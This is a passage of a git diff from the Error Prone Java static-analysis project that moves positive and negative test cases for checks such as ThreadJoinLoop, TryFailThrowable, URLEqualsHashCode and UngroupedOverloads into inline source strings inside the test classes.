catch (InterruptedException e) { + // ignore + } + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) + threads[i].join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + class MyThread extends Thread { + + public void run() { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void whileInThread() { + while (isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // Ignore. + } + } + } + } + }""") + .addOutputLines( + "ThreadJoinLoopPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.util.concurrent.Uninterruptibles; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyInterruptedFullException(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyException(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyCatchStatements(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoop(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoopCheck(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + Uninterruptibles.joinUninterruptibly(thread); + } + } + + public void breakStatement(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void whileLoopBreak(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void whileLoopThreadAlive(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void multipleStatements(Thread thread, boolean isAlive) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + Uninterruptibles.joinUninterruptibly(threads[i]); + } + } + + class MyThread extends Thread { + + public void run() { + Uninterruptibles.joinUninterruptibly(this); + } + + public void whileInThread() { + Uninterruptibles.joinUninterruptibly(this); + } + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java index 0bcdc7212b3..10594f8b635 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java @@ -30,14 +30,123 @@ public class ThrowIfUncheckedKnownCheckedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java") + .addSourceLines( + "ThrowIfUncheckedKnownCheckedTestPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Throwables.propagateIfPossible; + import static com.google.common.base.Throwables.throwIfUnchecked; + + import java.io.IOException; + import java.util.concurrent.ExecutionException; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ThrowIfUncheckedKnownCheckedTestPositiveCases { + void simple(IOException e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + + // BUG: Diagnostic contains: no-op + propagateIfPossible(e); + } + + void union() { + try { + foo(); + } catch (IOException | ExecutionException e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + + // BUG: Diagnostic contains: no-op + propagateIfPossible(e); + } + } + + void checkedGeneric(E e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + } + + void foo() throws IOException, ExecutionException {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java") + .addSourceLines( + "ThrowIfUncheckedKnownCheckedTestNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.base.Throwables.propagateIfPossible; +import static com.google.common.base.Throwables.throwIfUnchecked; + +import java.io.IOException; +import java.util.concurrent.CancellationException; +import java.util.concurrent.ExecutionException; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ThrowIfUncheckedKnownCheckedTestNegativeCases { + void exception(Exception e) { + throwIfUnchecked(e); + } + + void throwable(Throwable e) { + throwIfUnchecked(e); + } + + void runtime(RuntimeException e) { + // Better written as "throw e," but comes up too rarely to justify a compile error. + throwIfUnchecked(e); + } + + void error(Error e) { + // Better written as "throw e," but comes up too rarely to justify a compile error. + throwIfUnchecked(e); + } + + void multiarg(IOException e) throws IOException { + propagateIfPossible(e, IOException.class); + } + + void union() { + try { + foo(); + } catch (IOException | ExecutionException | CancellationException e) { + throwIfUnchecked(e); + } + } + + void genericUnchecked(E e) { + throwIfUnchecked(e); + } + + void genericMaybeUnchecked(E e) { + throwIfUnchecked(e); + } + + void genericUpperBoundDifferentFromErasure(E e) { + throwIfUnchecked(e); + } + + void foo() throws IOException, ExecutionException {} + + /* + * I don't care whether these are flagged or not, since it won't come up in practice. I just want + * to make sure that we don't blow up when running against the tests of Throwables. + */ + void nullException() { + throwIfUnchecked(null); // throws NPE + propagateIfPossible(null); // no-op + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java index 7a5708d5ae6..3d46649513f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java @@ -33,12 +33,70 @@ public final class ThrowsUncheckedExceptionTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ThrowsUncheckedExceptionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ThrowsUncheckedExceptionPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.IOException; + +/** + * @author yulissa@google.com (Yulissa Arroyo-Paredes) + */ +public class ThrowsUncheckedExceptionPositiveCases { + // BUG: Diagnostic contains: 'public void doSomething() {' + public void doSomething() throws IllegalArgumentException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: 'public void doSomethingElse() {' + public void doSomethingElse() throws RuntimeException, NullPointerException { + throw new NullPointerException("thrown"); + } + + // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared + public void doMore() throws RuntimeException, IOException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared + public void doEverything() throws RuntimeException, IOException, IndexOutOfBoundsException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: 'public void doBetter() {' + public void doBetter() throws RuntimeException, AssertionError { + throw new RuntimeException("thrown"); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ThrowsUncheckedExceptionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ThrowsUncheckedExceptionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.FileNotFoundException; + import java.io.IOException; + + /** + * @author yulissa@google.com (Yulissa Arroyo-Paredes) + */ + public class ThrowsUncheckedExceptionNegativeCases { + public void doSomething() { + throw new IllegalArgumentException("thrown"); + } + + public void doMore() throws IOException { + throw new FileNotFoundException("thrown"); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java index 681a1e43469..53510d5ccec 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java @@ -108,13 +108,78 @@ private String createTree(VisitorState state) { @Test public void positiveCases() { - testHelper.addSourceFile("testdata/TreeToStringPositiveCases.java").doTest(); + testHelper + .addSourceLines( + "TreeToStringPositiveCases.java", + """ +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.matchers.Matcher; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.Tree; + +public class TreeToStringPositiveCases { + + public static class InnerClass extends BugChecker { + private static void foo() { + Tree tree = (Tree) new Object(); + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + tree.toString(); + } + + private static final Matcher MATCHER1 = + (tree, state) -> { + ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + packageName.toString(); + + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + state.getPath().getCompilationUnit().getPackageName().toString(); + + return false; + }; + + private static final Matcher MATCHER2 = + new Matcher() { + @Override + public boolean matches(ClassTree classTree, VisitorState state) { + ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); + // BUG: Diagnostic contains: + packageName.toString(); + return false; + } + }; + } +}""") + .doTest(); } @Test public void negativeCases() { testHelper - .addSourceFile("testdata/TreeToStringNegativeCases.java") + .addSourceLines( + "TreeToStringNegativeCases.java", + """ + import com.google.errorprone.VisitorState; + import com.google.errorprone.bugpatterns.BugChecker; + import com.google.errorprone.util.ASTHelpers; + import com.sun.source.tree.ClassTree; + import com.sun.source.tree.Tree; + + public class TreeToStringNegativeCases { + + public static class InnerClass extends BugChecker { + + private static void foo(VisitorState state) { + Tree tree = (Tree) new Object(); + state.getSourceForNode(tree); + state.getConstantExpression(tree); + ((ClassTree) new Object()).getSimpleName().toString(); + ASTHelpers.getSymbol(tree).getSimpleName().toString(); + } + } + }""") .addModules( "jdk.compiler/com.sun.tools.javac.code", "jdk.compiler/com.sun.tools.javac.util") .doTest(); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java index af76c7d1a5e..75836afb144 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java @@ -33,11 +33,120 @@ public final class TruthAssertExpectedTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/TruthAssertExpectedPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthAssertExpectedPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; + +import com.google.common.collect.ImmutableList; + +/** + * Positive test cases for TruthAssertExpected check. + * + * @author ghm@google.com (Graeme Morgan) + */ +final class TruthAssertExpectedPositiveCases { + private static final ImmutableList EXPECTED_LIST = ImmutableList.of(); + private static final float EXPECTED_FLOAT = 1f; + + private float actualFloat() { + return 3.14f; + } + + private void simple() { + Object expected = new Object(); + Object actual = new Object(); + Object foo = new Object(); + // BUG: Diagnostic contains: assertThat(foo).isEqualTo(expected) + assertThat(expected).isEqualTo(foo); + // BUG: Diagnostic contains: assertThat(foo).isNotEqualTo(expected) + assertThat(expected).isNotEqualTo(foo); + + // BUG: Diagnostic contains: assertWithMessage("reversed!").that(actual).isEqualTo(expected) + assertWithMessage("reversed!").that(expected).isEqualTo(actual); + + // BUG: Diagnostic contains: assertThat(actual.hashCode()).isEqualTo(expected.hashCode()) + assertThat(expected.hashCode()).isEqualTo(actual.hashCode()); + } + + private void tolerantFloats() { + // BUG: Diagnostic contains: assertThat(actualFloat()).isWithin(1f).of(EXPECTED_FLOAT) + assertThat(EXPECTED_FLOAT).isWithin(1f).of(actualFloat()); + } + + private void lists() { + // BUG: Diagnostic contains: + // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST); + assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)); + // BUG: Diagnostic contains: + // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST).inOrder(); + assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)).inOrder(); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/TruthAssertExpectedNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthAssertExpectedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableList; + + /** + * Negative test cases for TruthAssertExpected check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class TruthAssertExpectedNegativeCases { + private static final Object expected = new Object(); + private static final Object actual = new Object(); + private static final Object foo = new Object(); + private static final long CONSTANT = 1L; + + private enum Enum { + A, + B; + } + + private void simple() { + assertThat(foo).isEqualTo(expected); + + assertThat(expected.hashCode()).isEqualTo(expected.hashCode()); + assertThat(hashCode()).isEqualTo(foo); + } + + private void actualAndExpectedTogether(int delay) { + int actualDelayInExpectedUnits = 1; + assertThat(actualDelayInExpectedUnits).isEqualTo(delay); + } + + private void expectedExceptions() { + Exception expectedException = new Exception("Oh no."); + assertThat(expectedException).hasMessageThat().isEqualTo("Oh no."); + assertThat(expectedException.getClass()).isEqualTo(hashCode()); + } + + private void staticFactoryMethod() { + assertThat(expected).isEqualTo(Long.valueOf(10L)); + assertThat(expected).isEqualTo(ImmutableList.of(1)); + } + + private void constantValues() { + assertThat(expected).isEqualTo(Enum.A); + assertThat(expected).isEqualTo(10L); + assertThat(expected).isEqualTo(CONSTANT); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java index 4e963bc0ddd..0df28772544 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java @@ -38,11 +38,78 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/TruthConstantAssertsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthConstantAssertsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertThat; + +/** + * Positive test cases for TruthConstantAsserts check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class TruthConstantAssertsPositiveCases { + + public void testAssertThat() { + // BUG: Diagnostic contains: assertThat(new TruthConstantAssertsPositiveCases()).isEqualTo(1); + assertThat(1).isEqualTo(new TruthConstantAssertsPositiveCases()); + + // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo("my string"); + assertThat("my string").isEqualTo(someStaticMethod()); + + // BUG: Diagnostic contains: assertThat(memberMethod()).isEqualTo(42); + assertThat(42).isEqualTo(memberMethod()); + + // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(42L); + assertThat(42L).isEqualTo(someStaticMethod()); + + // BUG: Diagnostic contains: assertThat(new Object()).isEqualTo(4.2); + assertThat(4.2).isEqualTo(new Object()); + } + + private static TruthConstantAssertsPositiveCases someStaticMethod() { + return new TruthConstantAssertsPositiveCases(); + } + + private TruthConstantAssertsPositiveCases memberMethod() { + return new TruthConstantAssertsPositiveCases(); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/TruthConstantAssertsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthConstantAssertsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for TruthConstantAsserts check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class TruthConstantAssertsNegativeCases { + + public void testNegativeCases() { + assertThat(new TruthConstantAssertsNegativeCases()).isEqualTo(Boolean.TRUE); + assertThat(getObject()).isEqualTo(Boolean.TRUE); + + // assertion called on constant with constant expectation is ignored. + assertThat(Boolean.FALSE).isEqualTo(4.2); + } + + private static TruthConstantAssertsNegativeCases getObject() { + return new TruthConstantAssertsNegativeCases(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java index effcbfdc0d0..49aa017ca8e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java @@ -31,11 +31,371 @@ public class TryFailThrowableTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/TryFailThrowablePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TryFailThrowablePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +import java.util.Arrays; +import junit.framework.TestCase; +import org.junit.Assert; + +/** + * @author adamwos@google.com (Adam Wos) + */ +public class TryFailThrowablePositiveCases { + + public static void emptyCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + } + } + + public static void commentCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: catch (Exception t123) + } catch (Throwable t123) { + // expected! + ; + /* that's an empty comment */ + } + } + + public static void commentCatch_failWithMessage() { + try { + dummyMethod(); + Assert.fail("Faaail!"); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_failNotLast() { + try { + dummyMethod(); + fail("Faaail!"); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_assert() { + try { + dummyMethod(); + assertEquals(1, 2); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_assertNotLast() { + try { + dummyMethod(); + assertTrue("foobar!", true); + dummyRecover(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void customMoreAsserts() { + try { + dummyMethod(); + CustomMoreAsserts.assertFoobar(); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void customMoreAsserts_fail() { + try { + dummyMethod(); + CustomMoreAsserts.fail("param", 0x42); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + static final class SomeTest extends TestCase { + public void testInTestCase() { + try { + dummyMethod(); + fail("message"); + // BUG: Diagnostic contains: catch (Exception codeCatch_oldAssertFailWithMessage) + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + // comment + /* another */ + } + } + } + + static final class CustomMoreAsserts { + static void assertFoobar() {} + + static void fail(String param1, int param2) {} + } + + private static void dummyRecover() {} + + private static void dummyMethod() {} + + public static void catchesAssertionError() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: remove this line + } catch (AssertionError e) { + } + } + + public static void hasMessage() { + try { + dummyMethod(); + Assert.fail("foo"); + // BUG: Diagnostic contains: remove this line + } catch (AssertionError e) { + } + } + + public static void catchesError_lastStatement() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: remove this line + } catch (Error e) { + } + } + + public static void catchesError_notLastStatement() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + + assertTrue(true); + } + + public static void catchesError_nested() { + for (Object o : Arrays.asList()) { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + } + } + + public static void catchesError_nestedNoBlock() { + for (Object o : Arrays.asList()) + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/TryFailThrowableNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TryFailThrowableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static org.junit.Assert.assertEquals; + import static org.junit.Assert.assertTrue; + import static org.junit.Assert.fail; + + import junit.framework.TestCase; + import org.junit.Assert; + + /** + * @author adamwos@google.com (Adam Wos) + */ + public class TryFailThrowableNegativeCases { + + public static void withoutFail() { + try { + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void failOutsideTry() { + try { + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + Assert.fail(); + } + + public static void withoutCatch() { + try { + dummyMethod(); + Assert.fail(""); + } finally { + dummyRecover(); + } + } + + /** For now, this isn't supported. */ + public static void multipleCatches() { + try { + dummyMethod(); + Assert.fail("1234"); + } catch (Error e) { + dummyRecover(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void failNotLast() { + try { + dummyMethod(); + Assert.fail("Not last :("); + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void catchException() { + try { + dummyMethod(); + Assert.fail(); + } catch (Exception t) { + dummyRecover(); + } + } + + public static void catchException_failWithMessage() { + try { + dummyMethod(); + Assert.fail("message"); + } catch (Exception t) { + dummyRecover(); + } + } + + public static void codeCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void codeCatch_failWithMessage() { + try { + dummyMethod(); + Assert.fail("Faaail!"); + } catch (Throwable t444) { + dummyRecover(); + } + } + + public static void codeCatch_staticImportedFail() { + try { + dummyMethod(); + fail(); + } catch (Throwable t444) { + dummyRecover(); + } + } + + @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 + public static void codeCatch_oldAssertFail() { + try { + dummyMethod(); + junit.framework.Assert.fail(); + } catch (Throwable codeCatch_oldAssertFail) { + dummyRecover(); + } + } + + @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 + public static void codeCatch_oldAssertFailWithMessage() { + try { + dummyMethod(); + junit.framework.Assert.fail("message"); + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + dummyRecover(); + } + } + + public static void codeCatch_FQFail() { + try { + dummyMethod(); + org.junit.Assert.fail("Faaail!"); + } catch (Throwable t444) { + dummyRecover(); + } + } + + public static void codeCatch_assert() { + try { + dummyMethod(); + assertEquals(1, 2); + } catch (Throwable t) { + dummyMethod(); + } + } + + public static void commentCatch_assertNotLast() { + try { + dummyMethod(); + assertTrue("foobar!", true); + dummyRecover(); + } catch (Throwable t) { + dummyMethod(); + } + } + + static final class SomeTest extends TestCase { + public void testInTestCase() { + try { + dummyMethod(); + fail("message"); + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + dummyRecover(); + } + } + } + + private static void dummyRecover() {} + + private static void dummyMethod() {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java index f4b1cb3e064..e10854a020e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java @@ -38,11 +38,172 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/URLEqualsHashCodePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "URLEqualsHashCodePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.BiMap; + import com.google.common.collect.HashBiMap; + import com.google.common.collect.ImmutableSet; + import java.net.URL; + import java.util.HashMap; + import java.util.HashSet; + import java.util.Map; + import java.util.Set; + + /** + * Positive test cases for URLEqualsHashCode check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class URLEqualsHashCodePositiveCases { + + public void setOfURL() { + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new HashSet(); + } + + public void setOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new HashSet(); + } + + public void hashmapOfURL() { + // BUG: Diagnostic contains: java.net.URL + HashMap urlMap = new HashMap(); + } + + public void hashmapOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashMap urlMap = new HashMap(); + } + + public void hashsetOfURL() { + // BUG: Diagnostic contains: java.net.URL + HashSet urlSet = new HashSet(); + } + + public void hashsetOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashSet urlSet = new HashSet(); + } + + private static class ExtendedSet extends HashSet { + // no impl. + } + + public void hashSetExtendedClass() { + // BUG: Diagnostic contains: java.net.URL + HashSet extendedSet = new ExtendedSet(); + + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new ExtendedSet(); + } + + private static class ExtendedMap extends HashMap { + // no impl. + } + + public void hashMapExtendedClass() { + // BUG: Diagnostic contains: java.net.URL + HashMap extendedMap = new ExtendedMap(); + + // BUG: Diagnostic contains: java.net.URL + Map urlMap = new ExtendedMap(); + } + + public void hashBiMapOfURL() { + // BUG: Diagnostic contains: java.net.URL + BiMap urlBiMap = HashBiMap.create(); + + // BUG: Diagnostic contains: java.net.URL + BiMap toUrlBiMap = HashBiMap.create(); + } + + public void hashBiMapOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashBiMap urlBiMap = HashBiMap.create(); + + // BUG: Diagnostic contains: java.net.URL + HashBiMap toUrlBiMap = HashBiMap.create(); + } + + public void immutableSetOfURL() { + // BUG: Diagnostic contains: java.net.URL + ImmutableSet urlSet = ImmutableSet.of(); + + // BUG: Diagnostic contains: java.net.URL + ImmutableSet urlSet2 = ImmutableSet.builder().build(); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/URLEqualsHashCodeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "URLEqualsHashCodeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.net.URL; + import java.util.ArrayList; + import java.util.Collection; + import java.util.HashMap; + import java.util.HashSet; + import java.util.List; + import java.util.Set; + + /** + * Negative test cases for URLEqualsHashCode check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class URLEqualsHashCodeNegativeCases { + + private static class Url { + private Url() { + // no impl + } + } + + // Set and HashSet of non-URL class. + public void setOfUrl() { + Set urlSet; + } + + public void hashsetOfUrl() { + HashSet urlSet; + } + + // Collection(s) of type URL + public void collectionOfURL() { + Collection urlSet; + } + + public void listOfURL() { + List urlSet; + } + + public void arraylistOfURL() { + ArrayList urlSet; + } + + public void hashmapWithURLAsValue() { + HashMap stringToUrlMap; + } + + private static class ExtendedMap extends HashMap { + // no impl. + } + + public void hashMapExtendedClass() { + ExtendedMap urlMap; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java index 5d02a9e1ecb..d40c6dd8d15 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java @@ -41,64 +41,579 @@ public final class UngroupedOverloadsTest { @Test public void ungroupedOverloadsPositiveCasesSingle() { - compilationHelper.addSourceFile("testdata/UngroupedOverloadsPositiveCasesSingle.java").doTest(); + compilationHelper + .addSourceLines( + "UngroupedOverloadsPositiveCasesSingle.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesSingle { + + public void quux() { + foo(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo() { + foo(42); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x) { + foo(x, x); + } + + public void bar() { + bar(42); + } + + public void bar(int x) { + foo(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x, int y) { + System.out.println(x + y); + } + + public void norf() {} + }""") + .doTest(); } @Test public void ungroupedOverloadsPositiveCasesMultiple() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesMultiple.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesMultiple.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesMultiple { + + private int foo; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + private UngroupedOverloadsPositiveCasesMultiple(int foo) { + this.foo = foo; + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + bar(foo, x); + } + + public void baz(String x) { + bar(42, x, 42); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static final String FOO = "foo"; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y, int z) { + bar(x, String.valueOf(y), z); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux() { + return quux(quux); + } + + public int quux = 42; + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux(int x) { + return x + quux; + } + + private static class Quux {} + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux(int x, int y) { + return quux(x + y); + } + + // BUG: Diagnostic 